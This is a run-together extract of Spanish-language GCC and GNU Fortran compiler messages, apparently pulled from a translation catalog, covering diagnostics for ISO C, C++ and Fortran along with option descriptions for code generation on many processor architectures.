sqrtSigue las convenciones de llamada Renesas (anteriormente Hitachi) / SuperHSigue los requerimientos de enlace de EABIPara instrucciones de reporte de bichos, por favor vea:
%s.
Para el procedimiento dummy %s, no se permite un nombre de enlazado en BIND(C) en %CPara la biblioteca de intrínsecos: pasa todos los parámetros en registrosFuerza que las funciones se alineen a un límite de 4 byteFuerza que el tipo debajo de "wchar_t" sea "unsigned short"Declaración de formato en el módulo bloque principal en %CFortran 2003: Bloque CONTAINS en una definición de tipo derivado en %CFortran 2003: Declaración de procedimiento FINAL en %CFortran 2003: Enlace GENERIC en %LFortran 2003: Procedimiento enlazado a tipo en %CFortran 2003: "USE :: module" en %CFortran 2003: El atributo %s genera un conflicto con el atributo %s en %LFortran 2003: El atributo %s genera un conflicto con el atributo %s en '%s' en %LFortran 2003: el especificador %s en la declaración %s en %C tiene el valor '%s'Fortran 2003: Intrínseco '%s' con argumento CHARACTER en %LFortran 2003:  Intrínseco '%s' con argumento KIND en %LFortran 2003: '%s' es de un tipo PRIVATE y no puede ser un argumento dummy de '%s', el cual es PUBLIC en %LFortran 2003: ABSTRACT INTERFACE en %CFortran 2003: Tipo ABSTRACT en %CFortran 2003: atributo ALLOCATABLE en %C en una definición TYPEFortran 2003: no se permite ASYNCHRONOUS= en %C en Fortran 95Fortran 2003: Los constructores de matriz incluyen especificación de tipo en %CFortran 2003: Atributo %s en %L en una definición TYPEFortran 2003: BIND(C) en %LFortran 2003: no se permite BLANK= en %C en Fortran 95Fortran 2003: Se usa BOZ fuera de una declaración DATA en %CFortran 2003: Especificación de límites para '%s' en una asignación de puntero en %LFortran 2003: El bloque COMMON '%s' en %L también es un resultado de funciónFortran 2003: El bloque COMMON '%s' en %L también es un procedimiento globalFortran 2003: no se permite el especificador de formato DC en %CFortran 2003: no se permite DECIMAL= en %C en Fortran 95Fortran 2003: no se permite DELIM= en %C en Fortran 95Fortran 2003: no se permite el especificador de formato DP en %CFortran 2003: La definición de tipo derivado en %C no tiene componentesFortran 2003: no se permite ENCODING= en %C en Fortran 95Fortran 2003: ENUM y ENUMERATOR en %CFortran 2003: EXTENDS en %LFortran 2003: Función elemental como expresión de inicialización con argumentos que no son enteros/carácter en %LFortran 2003: Declaración FLUSH en %CFortran 2003: La función '%s' como una expresión de inicialización en %LFortran 2003: Declaración IMPORT en %CFortran 2003: Etiqueta IOMSG en %LFortran 2003: Módulo ISO_C_BINDING en %CFortran 2003: Módulo intrínseco ISO_FORTRAN_ENV en %CFortran 2003: Fichero interno en %L con lista de nombresFortran 2003: Exponente que no es entero en una expresión de inicialización en %CFortran 2003: No se permite PAD= en %C en Fortran 95Fortran 2003: Un símbolo PARAMETER en la constante compleja en %CFortran 2003: Declaración PROCEDURE en %CFortran 2003: Atributo PROTECTED en %CFortran 2003: Declaración PROTECTED en %CFortran 2003: La función PUBLIC %s '%s' en %L es de tipo derivado PRIVATE '%s'Fortran 2003: La función PUBLIC '%s' en %L es de tipo derivado PRIVATE '%s'Fortran 2003: El procedimiento '%s' en la interfaz PUBLIC '%s' en %L toma argumentos dummy de '%s' el cual es PRIVATEFortran 2003: Los componentes del procedimiento en %C aún no se admiten en gfortranFortran 2003: Se renombran operadores en declaraciones USE en %CFortran 2003: no se permite SIGN= en %C en Fortran 95Fortran 2003: Argumento actual CHARACTER escalar con argumento dummy de matriz '%s' en %LFortran 2003: Constructor de estructura con argumentos opcionales faltantes en %CFortran 2003: Constructor de estructura con argumentos nombrados en %CFortran 2003: Atributo VALUE en %CFortran 2003: Declaración VALUE en %CFortran 2003: Atributo VOLATILE en %CFortran 2003: Declaración VOLATILE en %CFortran 2003: No se permite WAIT en %C en Fortran 95Fortran 2003: Constructores de matriz de estilo [...] en %CFortran 2003: módulo natural en la declaración USE en %CFortran 2003: el componente '%s' es un tipo PRIVATE y no puede ser un componente de '%s' el cual es PUBLIC en %LFortran 2008: 'G0' en un formato en %CFortran 2008: La especificación de matriz en %C tiene más de 7 dimensionesFortran 2008: El atributo BIND(C) en %L no se puede especificar para un procedimiento internalFortran 2008: Declaración CONTAINS sin una declaración FUNCTION o SUBROUTINE en %CFortran 2003: La definición de tipo derivado en %C tiene una sección CONTAINS vacíaFortran 95 requiere un INTEGER por defecto en la etiqueta %s en %LFortran 2003: Aún no se admiten el especificador ROUND= en %CNo se encontró un enlace específico coincidente para la llamada al GENERIC '%s' en %LLa longitud de línea libre debe ser al menos de tres.El procedimiento %s en %L tiene entradas con especificaciones de matriz no coincidentesLa función '%s' en %C ya tiene un tipo de %sLa función '%s' en %L no se puede llamar recursivamente, porque no es RECURSIVELa función '%s' en %L no puede tener un inicializadorLa función '%s' en %L no es de tipo IMPLICITLa función '%s' en %L es INTRINSIC pero no es compatible con un intrínsecoLa función '%s' en %L debe ser PURELa función '%s' llamada en lugar de un operador en %L debe ser PURELa función '%s' en la expresión de inicialización en %L debe ser una funión intrínseca o de especificaciónLa función '%s' se declara CHARACTER(*) y no se puede usar en %L ya que no es un argumento de pruebaLa función '%s' requiere una lista de argumentos en %CNo se permite el nombre de función '%s' en %CLa referencia de función a '%s' en %L apunta a un procedimiento que no es PURE dentro de un procedimiento PUREEl resultado de la función '%s' en %L no puede tener un inicializadorEl resultado de la función '%s' en %L no es de tipo IMPLICITLos inicios de las funciones se alinean a esta potencia de 2GCC 4.4 es la última versión que admite ajustes para Itanium1GCC 4.4 es la última versión con esta opciónGCC no puede admitir operadores con tipos enteros y tipos de coma fija que tienen demasiados bits integrales y fraccionales juntosGCC no admite -C o -CC sin usar -EGCC sólo admite %u ámbitos anidadosvector GCC pasado por referencia: extensión ABI que no es estándar sin garantía de compatibilidadSe devolvió un vector GCC por referencia: extensión de ABI no estándar sin garantía de compatibilidadGCSE desactivadoEl GENERIC '%s' en %L no puede sobreescribir el enlace específico con el mismo nombreEl GENERIC '%s' en %L debe apuntar a un enlace específico, '%s' es GENERIC tambiénGENERIC en %C debe estar dentro de un tipo derivado CONTAINSEl procedimiento GENERIC '%s' no se permite como un argumento actual en %LGET usa el índice de matriz de puerto %d, el cual está fuera de rango [%d..%d]GMP versión %s, MPFR versión %s.
GNU Fortran viene SIN GARANTÍA, a la extensión permitida por ley.
Puede distribuir copias de GNU Fortran
bajo los términos de la Licencia Pública General GPL.
Para más información sobre estos asuntos, vea el fichero llamado COPYING

Genera código SHmedia de 32-bit sin FPUGenera código SHmedia de 32-bitGenera código de 32-bitGenera desplazamientos de 32-bit en las tablas de switchGenera código i386 de 32bitGenera código SHmedia de 64-bit sin FPUGenera código SHmedia de 64-bitGenera código de 64-bitGenera código x86-64 de 64bitGenera marcos de pila que cumplan con APCSGenera encabezado C de características específicas de la plataformaGenera microcódigo CellGenera código SHcompact sin FPUGenera código GFLOAT de doble precisiónGenera código H8/300HGenera código H8SGenera código H8S/2600Genera código H8SXGenera código ILP32Genera código LP64Genera código MIPS16Genera código PA1.0Genera código PA1.1Genera código PA2.0 (requiere binutils 2.10 o superior)Genera instrucciones par-sencillo PPC750CLGenera código SH1Genera código SH2Genera código SH2a sin FPUGenera código SH2aGenera código SH2eGenera código SH3Genera código SH3eGenera código SH4 sin FPUGenera código SH4Genera código SH4-100 sin FPUGenera código SH4-100Genera código SH4-200 sin FPUGenera código SH4-200Genera código SH4-300 sin FPUGenera código SH4-300Genera código SH4a sin FPUGenera código SH4aGenera código SH4al-dspGenera código SHcompactGenera instrucciones SPE SIMD en E500Genera instrucciones VRSAVE cuando se genere código AltiVecGenera una directiva #line que apunte al directorio de trabajo actualGenera una llamada a abortar si una funcion noreturn devuelveGenera un sólo punto de salida para cada funciónGenera instrucciones auto-inc/decGenera código big endianGenera código big-endianGenera instrucciones bitGenera pistas de ramificación para las ramificacionesGenera las llamadas insns como llamadas indirectas, si es necesarioGenera revisiones para referencias a NULLGenera la instrucción cld en el prólogo de función.Genera código para direccionamiento de 18 bitGenera código para direccionamiento de 32 bitGenera código para as de GNUGenera código para el ensamblador de GNU (gas)Genera código para ld de GNUGenera código para el ambiente de tiempo de ejecución GNUGenera código para ISA nivel NGenera código para el ambiente de tiempo de ejecución NeXT (Apple Mac OS X)Genera código para SH4 series 340 (sin MMU/FPU)Genera código para SH4 series 400 (sin MMU/FPU)Genera código para SH4 series 500 (sin FPU).Genera código para el ensamblador UNIXGenera código para un 5206eGenera código para un 520XGenera código para un 528xGenera código para un 5307Genera código para un 5407Genera código para un 68000Genera código para un 68010Genera código para un 68020Genera código para un 68030Genera código para un 68040Genera código para un 68040, sin ninguna instrucción nuevaGenera código para un 68060Genera código para un 68060, sin ninguna instrucción nuevaGenera código para un 68302Genera código para un 68332Genera código para un 68851Genera código para un ColdFire v4eGenera código para una DLLGenera código para un Fido AGenera código para un cpu32Genera código para un 11/10Genera código para un 11/40Genera código para un 11/45Genera código para big-endianGenera código para las extensiones cargables de núcleo darwinGenera código para las funciones aún si están completamente incluídas en líneaGenera código para el CPU dadoGenera código para declaraciones switch hugeGenera código para little-endianGenera código para ejecutables BSS PLT antiguosGenera código para el sistema operativo Android.Genera código para el GC de BoehmGenera código para el M*Core M210Genera código para el M*Core M340Genera código para el ISA dadoGenera código para el núcleo o para las extensiones cargables del núcleoGenera código para el chip especificado o la versión de CPUGenera código en modo big endianGenera código en modo little endianGenera código adecuado para ejecutables (NO para bibliotecas compartidas)Genera código adecuado para vuelta rápida en la depuraciónGenera código que se puede enlazar sin problemas con código MIPS16.Genera código que se pueda usar en objetos dinámicos de estilo SVR4Genera código que cumpla con la ABI dadaGenera código que use las instrucciones de coma flotante de un 68881Genera código que se puede enlazar contra ninguna otra biblioteca compartida de IDGenera código para revisar los límites antes de indizar matricesGenera código para revisar especificaciones de excepcionesGenera código para usar un PTL y GOT no ejecutablesGenera código que use las instrucciones de coma flotante de hardwareGenera código con llamadas a bibliotecas para coma flotanteGenera código sin registro GPGenera definiciones cpp para ES de servidorGenera definiciones cpp para ES de estación de trabajoGenera información de depuración en el formato COFFGenera información de depuración en el formato DWARF v2Genera información de depuración en el formato STABSGenera información de depuración en el formato VMSGenera información de depuración en el formato XCOFFGenera información de depuración en el formato extendido por defectoGenera información de depuración en el formato por defectoGenera información de depuración en el formato STABS extendidoGenera información de depuración en el formato XCOFF extendidoGenera código SH2a de precisión simple por defectoGenera código SH4 de precisión simple por defectoGenera código SH4-100 de precisión simple por defectoGenera código SH4-200 de precisión simple por defectoGenera código SH4-300 de precisión simple por defectoGenera código SH4a de precisión simple por defectoGenera resultados de división con residuo que tenga el mismo signo que el divisor (no el del dividendo)Genera llamadas indirectas rápidasGenera matemáticas de coma flotante usando el conjunto de instrucciones dadoGenera instrucciones multiply-add de coma flotanteGenera instrucciones multiply/add de corto circuitoGenera división de coma flotante incluída en línea, optimizada para latenciaGenera división de coma flotante incluída en línea, optimizada para salidaGenera división entera incluída en línea, optimizada para latenciaGenera división entera incluída en línea, optimizada para salidaGenera raíz cuadrada incluída en línea, optimizada para latenciaGenera raíz cuadrada incluída en línea, optimizada para salidaGenera instancias de Class en tiempo de ejecuciónGenera instrucciones iselGenera la búsqueda no estricta de clases (a través de objc_getClass()) para usarlas en el modo Zero-LinkGenera código little endianGenera código little-endianGenera múltiples instrucciones load/storeGenera load/store con instrucciones de actualizaciónGenera dependencias de makeGenera dependencias de make y compilaGenera código normal-modeGenera código SH2a solamente de precisión simpleGenera código SH4 solamente de precisión simpleGenera código SH4-100 solamente de precisión simpleGenera código SH4-200 solamente de precisión simpleGenera código SH4-300 solamente de precisión simpleGenera código SH4a solamente de precisión simpleGenera código relativo al pcGenera objetivos de prueba para todos los encabezadosGenera código independiente de posición para ejecutables si es posible (modo large)Genera código independiente de posición para ejecutables si es posible (modo small)Genera código independiente de posición si es posible (modo large)Genera código independiente de posición si es posible (modo small)Genera instrucciones de precargado, si están disponibles, para matrices en ciclosGenera código PIC reentranteGenera recíprocos en lugar de divss y sqrtss.Genera información de descriptor de tipo en tiempo de ejecuciónGenera código auto-reubicableGenera sin, cos, sqrt para FPUGenera sqrt recíproco de software para mejor salidaGenera métodos Objective-C especiales para inicializar/destruir i-variables de C++ que no son POD, si es necesarioGenera instrucciones de cadena para movimiento de bloquesGenera tablas de desenredo que sean exactas en cada límite de instrucciónEmite avisos cuando se sabe que se genera código ineficiente.El generado se debe cargar con el cargador de arranqueLa función genérica '%s' en %L no es consistente con una interfaz intrínseca específicaLa subrutina genérica '%s' en %L no es consistente con una interfaz de subrutina intrínsecaDa a las ramificaciones su costo por defectoDa a los símbolos externos un subrayado inicialEl nombre global '%s' en %L ya se está usando como un %s en %LNo se pueden usar las optimizaciones de ciclo GraphiteLas instrucciones de coma flotante decimal de hardware no están disponibles en el modo ESA/390Las instrucciones de coma flotante decimal de hardware no están disponibles en %sLa sentencia de valor del histograma no corresponde a la sentencia con la que está asociadaLa variable asociada al anfitrión '%s' no debe estar en la declaración DATA en %CIndica que tan seguido se debe emitir la ubicación del código al inicio de los diagnósticos con corte de líneaICE: se usa emit_insn donde se necesita emit_jump_insn:
ID de la biblioteca compartida a crearlas bibliotecas compartidas ID y el modo FD-PIC no se pueden usar juntos.La cláusula IF en %L requiere una expresión LOGICAL escalarLa declaración IMPORT en %C sólo se permite en un cuerpo INTERFACELa declaración INQUIRE en %L no puede contener especificadores FILE y UNIT al mismo tiempoLa declaración INQUIRE en %L requiere un especificador PENDING= con el especificador ID=La declaración INQUIRE en %L requiere un especificador FILE o UNITNo se permite la declaración INQUIRE en el procedimiento PURE en %CINTENT (%s) genera un conflicto con INTENT(%s) en %LEl argumento actual INTENT(%s) en %L puede interferir con el argumento actual en %L.El procedimiento INTERFACE '%s' en %L tiene el mismo nombre que el procedimiento que lo incluyeLa etiqueta IOLENGHT es inválida en la declaración INQUIRE en %CISO C no permite un %<;%> extra fuera de una funciónISO C no admite %<++%> y %<--%> en tipos complejosISO C no admite %<~%> para conjugaciones complejasISO C no admite tipos enteros complejosISO C no admite coma flotante decimalISO C no admite tipos de coma fijaISO C no admite %<complex%> simples que significan %<double complex%>ISO C no admite tipos saturantesISO C no admite structs/unions sin nombreISO C prohíbe %<goto *expr;%>ISO C prohíbe %<return%> con expresión, en una función que devuelve voidISO C prohíbe una unidad de traducción vacíaISO C prohíbe la asignación entre un puntero a función y %<void *%>ISO C prohíbe grupos de llaves dentro de expresionesISO C prohíbe la conversión de un no escalar al mismo tipoISO C prohíbe la conversión al tipo unionISO C prohíbe la comparación de %<void *%> con un puntero de funciónISO C prohíbe expresiones condicionales entre %<void *%> y punteros de funciónISO C prohíbe una expresión condicional con sólo un lado voidISO C prohíbe los tipos de función const o volatileISO C prohíbe la conversión de un apuntador a función a un tipo de objeto apuntadorISO C prohíbe la conversión de objeto apuntador a un tipo de apuntador a funciónISO C prohíbe las llaves de inicializador vacíasISO C prohíbe declaraciones adelantadas de parámetrosISO C prohíbe las referencias hacia adelante a tipos %<enum%>ISO C prohíbe la inicialización entre un puntero a función y %<void *%>ISO C prohíbe las declaraciones etiquetadasISO C prohíbe declaraciones de miembros con no miembrosISO C prohíbe las funciones anidadasISO C prohíbe la omisión del término medio de una expresión ?:ISO C prohíbe la comparación entre punteros a funcionesISO C prohíbe el paso del argumento %d de %qE entre un puntero a función y %<void *%>ISO C prohíbe los tipos de función calificadosISO C prohíbe la devolución entre un puntero a función y %<void *%>ISO C prohíbe la especificación de rangos de elementos a inicializarISO C prohíbe el subíndice de una matriz %<register%>ISO C prohíbe la matriz %qs de tamaño ceroISO C prohíbe la conversión de argumentos a tipo unionISO C requiere un argumento con nombre antes de %<...%>ISO C restringe los valores de enumeración al rango de %<int%>ISO C++ 1998 no admite %<long long%>ISO C++ 1998 prohíbe el uso de %<extern%> en instanciaciones explícitasISO C++ no permite inicializadores designadosISO C++ no permite que %<%T::%D%> se defina como %<%T::%D%>ISO C++ prohíbe %s entre punteros de tipo %<void *%> y punteros a funciónISO C++ prohíbe la aplicación de %<__alignof%> a una expresión de tipo de funciónISO C++ prohíbe la aplicación de %<sizeof%> a una expresión de tipo de funciónISO C++ prohíbe grupos de llaves dentro de expresionesISO C++ prohíbe la llamada %<::main%> dentro del mismo programaISO C++ prohíbe la conversión entre puntero a función y puntero a objetoISO C++ prohíbe la conversión a un tipo de matriz %qTISO C++ prohíbe la comparación entre puntero y enteroISO C++ prohíbe las literales compuestasISO C++ prohíbe los gotos calculadosISO C++ prohíbe la declaración de %qs sin tipoISO C++ prohíbe decrementar un puntero de tipo %qTISO C++ prohíbe decrementar un enumISO C++ prohíbe la inicialización en la clase del miembro static %qD que no es constanteISO C++ prohíbe incrementar un puntero de tipo %qTISO C++ prohíbe incrementar un enumISO C++ prohíbe la inicialización en la matriz newISO C++ prohíbe la inicialización del miembro %qDISO C++ prohíbe la inicialización de la constante miembro %qD del tipo %qT que no es enteroISO C++ prohíbe el tipo anidado %qD con el mismo nombre que la clase que lo contieneISO C++ prohíbe la omisión del término medio de una expresión ?:ISO C++ prohíbe el subíndice de una matriz que no sea l-valuadaISO C++ prohíbe tomar la dirección de la función %<::main%>ISO C++ prohíbe tomar la dirección de una función miembro limitada para formar un puntero a la función miembro.  Como %<&%T::%D%>ISO C++ prohíbe tomar la dirección de una conversión a una expresión no l-valuadaISO C++ prohíbe tomar la dirección de una función miembro no estática sin calificar o entre paréntesis para formar un puntero a la función miembro.  Como %<&%T::%D%>ISO C++ prohíbe el uso de %qE en las instanciaciones explícitasISO C++ prohíbe el uso de una lista de inicializadores para inicializar la referencia %qDISO C++ prohíbe el uso de un puntero de tipo %<void *%> en la sustracciónISO C++ prohíbe el uso de un puntero a una función en la sustracciónISO C++ prohíbe el uso de un puntero a un método en la sustracciónISO C++ prohíbe las matrices de longitud variableISO C++ prohíbe la matriz %qD de longitud variableISO C++ prohíbe matrices de tamaño ceroISO C++ prohíbe la matriz %qD de tamaño ceroISO C++ prohíbe structs anónimosISO C++ prohíbe la sobrecarga del operador ?:ISO C++ dice que estos son ambiguos, aún cuando la peor conversión para el primero es mejor que la peor conversión para el segundo:ISO C90 no admite declaradores de matriz %<[*]%>ISO C90 no admite %<long long%>ISO C90 no admite %<static%> o calificadores de tipo en los declaradores de parámetros de matricesISO C90 no admite tipos complejosISO C90 no admite miembros de matriz flexiblesISO C90 prohíbe la matriz %qs cuyo tamaño no se puede evaluarISO C90 prohíbe la matriz cuyo tamaño no se puede evaluarISO C90 prohíbe las literales compuestasISO C90 prohíbe mezclar declaraciones y códigoISO C90 prohíbe la especificación de subobjetos a inicializarISO C90 prohíbe el subíndice de una matriz no-lvaluadaISO C90 prohíbe la matriz de longitud variableISO C90 prohíbe la matriz de longitud variable %qsSi se usa -ftree-vectorize, el límite de ciclo minimal de un ciclo para considerarse en la vectorizaciónSi se usa -fvariable-expansion-in-unroller, el número máximo de veces que una variable individual se expandirá durante el desenrollo de ciclosSi el primer argumento de ATAN2 %L es cero, entonces el segundo argumento no debe ser ceroSi el número de candidatos en el conjunto es menor, siempre se tratará de eliminar ivs sin usar durante su optimizaciónSi se calendariza después de la recarga, hace la calendarización de superbloqueSi se calendariza después de la recarga, hace trazado de calendarizaciónSi está definido, se escogerán el control especulativo de instrucciones para calendarización sólo si no hay otras opciones por el momentoSi está definido, se escogerán las instrucciones especulativas de datos para calendarización sólo si no hay otras opciones por el momentoIgnora 'D' en la columna uno en formato fijaIgnora el atributo dllimport para las funcionesIgnora dllimport para funcionesIgnora las operaciones de lectura al insertar instrumentación mudflapSe descarta (obsoleto)Se descarta la declaración de etiqueta en la declaración vacía en %CVariable STAT ilegal en la declaración %s en %C para un procedimiento PURECarácter ilegal en la constante BOZ en %CExpresión de desalojo ilegal en DEALLOCATE en %C para un procedimiento PURETipo de referencia ilegal en %L como un objeto EQUIVALENCETranco ilegal de cero en %LVariable ilegal en NULLIFY en %C para un procedimiento PUREImplementa vtables usando thunksLa función implícitamente declarada BIND(C) '%s' en %L no puede ser interoperable con CLa variable BIND(C) '%s' declarada implícitamente en %L tal vez no es interoperable con CLa variable declarada implícitamente '%s' en %L tal vez no es interoperable con C pero es un argumento dummy para el procedimiento BIND(C) '%s' en %LEl PARAMETER de tipo implícito '%s' en %L no coincide con un tipo IMPLICIT posteriorEn %+D: variable sobreescrita y rangos de excepción en %dEn C++, un valor diferente de cero significa avisar sobre conversiones obsoletas de literales de cadena a `char *'.  En C, aviso similar, excepto que la conversión no es obsoleta por el estándar ISO C.En la función %qsEn la función miembro %qsIncluye los contenidos del <fichero> antes de otros ficherosTipo derivado incompatible en PARAMETER en %LRangos %d y %d incompatibles en la asignación en %LRangos incompatibles en %s (%d y %d) en %LTipos incompatible en la declaración DATA en %L; se intentó la conversión de %s a %sTipos incompatibles en el argumento PHIReglas de equivalencia inconsistentes que involucran a '%s' en %L y a '%s' en %LRangos inconsistentes para el operador en %%L y %%LValor de devolución de la función incorrectoIncrementa el cumplimiento con IEEE para el código de coma flotanteEl índice en la dimensión %d está fuera de los límites en %LIndica el número de registros suaves disponiblesLa referencia indirecta del operando no es un registro o una constante.No se permite la inicialización de %C en un procedimiento PURELa inicialización en %C no es para una variable punteroLa expresión de inicialización no reduce en %CNo se permite la inicialización del componente allocatable en %CNo se permite la inicialización de un puntero en %C en un procedimiento PURENo se permite la inicialización de una variable en %C en un procedimiento PUREInicializa las variables locales a cero (de g77)El símbolo inicializado '%s' en %C sólo puede ser COMMON en BLOCK DATALa variable inicializada '%s' en %L está en un COMMON vacío pero la inicialización sólo se permite en bloques common nombradosNo se permite un inicializador para el PARAMETER '%s' en %CSe inicializa una variable ya inicializada en %CInyecta las funciones friend dentro de espacios de nombres cerradosIncluye en línea todas las operaciones de cadenas conocidasIncluye constantes en línea si se pueden hacer en 2 insns o menosIncluye en línea a las funciones miembro por defectoIncluye en línea las operaciones de cadena memset/memcpy, pero realiza la versión inline sólo para los bloques pequeñosIncluir en línea recursivamente sólo cuando la probabilidad de que la llamada se ejecute exceda el parámetroEl fichero de entrada es un fichero con la lista de nombres de fichero a compilarInserta el código de análisis de perfil de programa basado en arcInserta el código para perfilar valores de expresionesInserta instrucciones hbrp después de los objetivos ramificados con pista para evitar el problema del colgado de SPUInserta nops cuando se puede mejorar el rendimiento permitiendo el asunto dual (por defecto)Inserta código de revisión de la pila en el programaInserta código de revisión de la pila en el programai.  Igual que -fstach-check=specificInstrumenta funciones de entrada y salida con llamadas de análisis de perfilSe requiere una expresión entera en %CEl género entero %d en %C no está disponibleRango simétrico fuera de entero implicado por Standard Fortran en %LEntero fuera del rango simétrico implicado por Standard Fortran al convertir %s a %s en %LDesbordamiento enteroEntero demasiado grande para el género entero %i en %CEl entero es demasiado grande para su género en %C. Esta revisión se puede desactiva con la opción -fno-range-checkEntero demasiado grande en %CEntero demasiado grande en la especificación de forma en %LValor entero demasiado grande en la expresión en %CIntegra las funciones llamadas una vez en sus invocadoresIntegra las funciones simples en sus invocadoresIntegra las funciones simples en sus invocadoresLa interfaz '%s' en %C puede no ser una función de declaraciónLa interfaz '%s' en %C puede no ser genericLa intefaz '%s' del procedimiento '%s' en %L debe ser explícitaLa interfaz '%s', usada por el procedimiento '%s' en %L, se declara en una declaración PROCEDURE posteriorError Interno en (1):Error interno del compilador: Error al reportar rutinas reentradas.
Error interno: `%s' (programa %s)
Por favor envíe un reporte completo de bichos.
Vea %s para más instrucciones.El procedimiento interno '%s' no se permite como un argumento actual en %LUnidad interna con subíndice vectorial en %LDispersa los conjuntos de literales con código en la sección de textoEl intrínseco '%s' (es %s) se usa en %LEl intrinsic '%s' en %L no puede tener un inicializadorEl intrínseco '%s' en %L no se permite como un argumento actualEl intrínseco '%s' en %L debe tener al menos dos argumentosEl TRANSFER intrínseco en %L tiene un resultado parcialmente indefinido: tamaño de la fuente %ld < tamaño del resultado %ldNo se reconoce la función intrínseca %s(%d)No se permite la función intrínseco '%s' en %L en una expresión de inicializaciónEl operador intrínseco '%s' referenciado en %L no se encontró en el módulo '%s'La interfaz de operador intrínseco en %L debe ser FUNCTIONEl procedimiento intrínseco '%s' no se permite en la declaración PROCEDURE en %CLa subrutina intrínseca '%s' en %L no debe tener un especificador de tipoLa subrutina intrínseca '%s' se usa como una función en %LNombre C inválido en el especificador NAME= en %CUna constante Hollerith inválida en %L contiene un carácter anchoConstante Hollerith inválida: %L debe contener por lo menos un carácterConstante Hollerith inválida: El género entero en %L debe ser por defectoEl parámetro KIND de %s es inválido en %LArgumento PHI inválidoResultado PHI inválidoCarácter '$' inválido en %C. Use -fdollar-ok para permitirlo como una extensiónCarácter inválido en el nombre en %CContexto inválido para el puntero NULL() en %%LForma inválida de la declaración PROGRAM en %CForma inválida de la declaración WRITE en %L, se requiere UNITForma inválida de referencia a matriz en %CInicializador %s inválido en la declaración Data en %CGénero %d inválido para la constante CHARACTER en %CGénero inválido para %s en %LSe especificó un tipo mul inválido (%s) - se esperaba mac, mul o nonePermutación inválida en el parámetro ORDER en %LAsignación de puntero de procedimiento inválida en %LGénero real %d inválido en %CSegundo argumento de IBCLR inválido en %LSegundo argumento de IBITS inválido en %LSegundo argumento de IBSET inválido en %LSegundo argumento de ISHFT inválido en %LSegundo argumento de ISHFTC inválido en %LTercer argumento de IBITS inválido en %LTercer argumento de ISHFTC inválido en %LValor inválido para la especificación %s en %CActiva los avisos necesarios para cumplir estrictamente con el estándarEl paso de iterador en %L no puede ser cerose aloja el objeto de clase Java %q#T usando una ubicación newla clase Java %qT no puede tener un destructorla clase Java %qT no puede tener un destructor implícito que no es trivialla clase Java %qT no puede tener bases múltiplesla clase Java %qT no puede tener bases virtualesel método Java %qD tiene un tipo de parámetro %qT que no es de Javael método Java %qD tiene un tipo de devolución %qT que no es de JavaEl objeto Java %qD no se aloja con %<new%>Los objetivos de salto se alinean a esta potencia de 2Basura después de CALL en %CBasura después del enlace GENERIC en %CBasura después de la declaración PROCEDURE en %CSólo genera tablas de desenredo para manejo de excepcionesUsa solamente icc0/fcc0El parámetro KIND de %s en %L debe ser una expresión de inicializaciónLa palabra clave '%s' en %C ya había aparecido en la lista de argumentos actualEl argumento de palabra clave '%s' en %L ya está asociado con otro argumento actualEl argumento de palabra clave '%s' en %L no está en el procedimientoEl argumento de palabra clave requiere una interfaz explícita para el procedimiento '%s' en %LNo se admite el género %d para CHARACTER en %CNo se admite el género %d para el tipo %s en %Clatencia de caché L%d desconocida para %sLas etiquetas LCFI ya se habían deferenciado.La etiqueta LM ya se había deferenciado.Se requieren operandos LOGICAL en la expresión en %LLa etiqueta %d en %C ya se referenció como etiqueta de formatoLa etiqueta %d en %C ya se referenció como objetivo de ramificaciónLa etiqueta %d en %C se utilizó previamente como una etiqueta FORMATLa etiqueta %d en %C se utilizó previamente como objetivo de ramificaciónSe define la etiqueta %d en %L pero no se puede usarSe define la etiqueta %d en %L pero no se usaLa etiqueta %d referenciada en %L nunca se defineLa etiqueta '%s' en %C no coincide con la etiqueta IF '%s'La etiqueta '%s' en %C no coincide con la etiqueta WHERE '%s'La etiqueta en %L no está en el mismo bloque que la declaración GOTO en %LEl nombre de etiqueta '%s' en %C es ambiguaLa letra %c ya tiene un tipo IMPLICIT en %CYa se definió la letra '%c' en la declaración IMPLICIT en %CLas letras debe estar en orden alfabético en la declaración IMPLICIT en %CLevanta restricciones en el tamaño de GOTComo -M pero descarta los ficheros de encabezado del sistemaComo -MD pero descarta los ficheros de encabezado del sistemaComo -pedantic pero los muestra como erroresLimita los diagnósticos a <número> caracteres por línea.  0 suprime el corte de líneaSe excedió el límite de %d continuaciones en la declaración en %CLimita el tamaño de las funciones incluídas en línea a <número>Línea truncada en %CLíneas ejecutadas:%s de %d
Enlaza para emitir el programa en formato ELF (en lugar de mmo)Enlaza con libads.a, libc.a y crt0.oEnlaza con libmvme.a, libc.a y crt0.oEnlaza con libsim.a, libc.a y sim-crt0.oEnlaza con libyk.a, libc.a y crt0.oEnlaza con la biblioteca de coma flotante fastEnlaza con las bibliotecas de pic de bibliotecaEnumera todos los contadores de depuración disponibles con sus límites y cuentas.El bloque SELECT CASE lógico en %L tiene más de dos casesNo se permite un rango lógico en una declaración CASE en %LLos lógicos en %%L se deben comparar con %s en lugar de %sBusca y utiliza ficheros PCH aún cuando se esté preprocesandoEl código de ciclo se alinea a esta potencia de 2La variable de ciclo '%s' en %C no puede ser INTENT(IN)La variable de ciclo en %C no puede ser un subcomponenteIterar ciclos por lo menos el número seleccionado de iteraciones que logrará alineación de ciclos.La referencia de matriz inferior en %L está fuera de los límites (%ld < %ld) en la dimensión %dLa referencia de matriz inferior en %L está fuera de los límites (%ld > %ld) en la dimensión %dMCU %qs sólo se admite para ensambladorcódigo MIPS16 -mxgotPIC MIPS16 para ABIs diferentes de o32 y o64TLS de MIPS16MMIX Interno: %s no es un int desplazableMMIX Interno: Registro erróneo: %dMMIX Interno: Valor erróneo para 'm', no es un CONST_INTMMIX Interno: No se puede decodificar este operandoMMIX Interno: Se esperaba un CONST_INT, no estoMMIX Interno: Se esperaba una constante, no estoMMIX Interno: Se esperaba un registro, no estoMMIX Interno: El último vararg nombrado no cabe en un registroMMIX Interno: Falta un case %qc en mmix_print_operandMMIX Interno: Esto no es una constante:MMIX Interno: Esta no es una dirección reconocidaMMIX Interno: Tratando de mostrar una condición invertida de forma inválida:MMIX Interno: ¿Cuál es el CC de esto?MMIX Interno: ¿Cuál es el CC de esto?el argumento de vector MMX sin MMX activado cambia la ABIla devolución de vector MMX sin MMX activado cambia la ABIno se espera MODIFY_EXPR mientras se tienen tuplas.MODULE PROCEDURE en %C debe estar en una interfaz genérica de módulocase MULT en cris_op_strLa magnitud del segundo argumento de ISHFT excede el tamaño de bit en %LLa magnitud del segundo argumento de ISHFTC excede el BIT_SIZE del primer argumento en %LLa magnitud del segundo argumento de ISHFTC excede el tercer argumento en %LLa magnitud del tercer argumento de ISHFTC excede el BIT_SIZE del tercer argumento en %LMantiene el 